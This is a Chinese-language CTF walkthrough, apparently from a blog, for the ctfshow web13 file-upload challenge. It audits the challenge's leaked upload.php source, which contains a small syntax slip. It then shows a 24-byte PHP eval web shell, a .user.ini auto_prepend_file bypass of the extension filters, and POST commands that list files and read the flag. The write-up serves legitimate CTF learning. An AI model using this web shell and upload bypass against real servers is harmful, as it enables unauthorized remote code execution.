CTF_ctfshow_web13_文件上传漏洞

打开靶机发现是个文件上传漏洞,上传了图片这些,都提示太大了

10344c8d-1054-45ac-ac38-f99ae5d4e476.challenge.ctf.show/upload.php.bak

然后upload.php.bak下载下来了源码,进行审计:

<?php 
    header("content-type:text/html;charset=utf-8");
    $filename = $_FILES['file']['name'];
    $temp_name = $_FILES['file']['tmp_name'];
    $size = $_FILES['file']['size'];
    $error = $_FILES['file']['error'];
    //pathinfo — 返回文件路径的信息
    $arr = pathinfo($filename);
    $ext_suffix = $arr['extension'];
    //文件<=24
    if ($size > 24){
        die("error file zise");
    }
    //文件名字长度<=9
    if (strlen($filename)>9){
        die("error file name");
    }
    //文件后缀<=3
    if(strlen($ext_suffix)>3){
        die("error suffix");
    }
    //后缀过滤掉了大小写的php
    if(preg_match("/php/i",$ext_suffix)){
        die("error suffix");
    }
    //文件名字也过滤了大小写的php
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
    //满足以上则上传成功
    if (move_uploaded_file($temp_name, './'.$filename)){
        echo "文件上传成功!";
    }else{
        echo "文件上传失败!";
    }

 ?>
代码审计之后,我们可以构造一个一句话的文本文件

<?php eval($_POST['a']);

大小刚好24

然后构造一个.user.ini文件

auto_prepend_file=a.txt

作用,该目录下的所有文件都会包含a.txt

对于php中的.usr.ini有如下解释:
PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。也就是在.usr.ini中如果设置了文件名,那么任意一个页面都会将该文件中的内容包含进去。
我们在.usr.ini中输入auto_prepend_file =a.txt,这样在该目录下的所有文件都会包含a.txt的内容

上传a.txt、上传.user.ini

上传成功之后,但我蚁剑这里连接不上,可能是.txt文件蚁剑无法通过php进行解析吧,我是这样理解的,可以在url上访问一下刚刚上传的文件

 那就直接构造参数吧,这里用post发送,我get试过了,不行,

查看当前目录有哪些文件:a=print_r(glob("*"));

 直接高亮flag

a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");

得到flag

ctfshow{afec4dce-665f-40a6-b2ee-25874cbfe778}

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值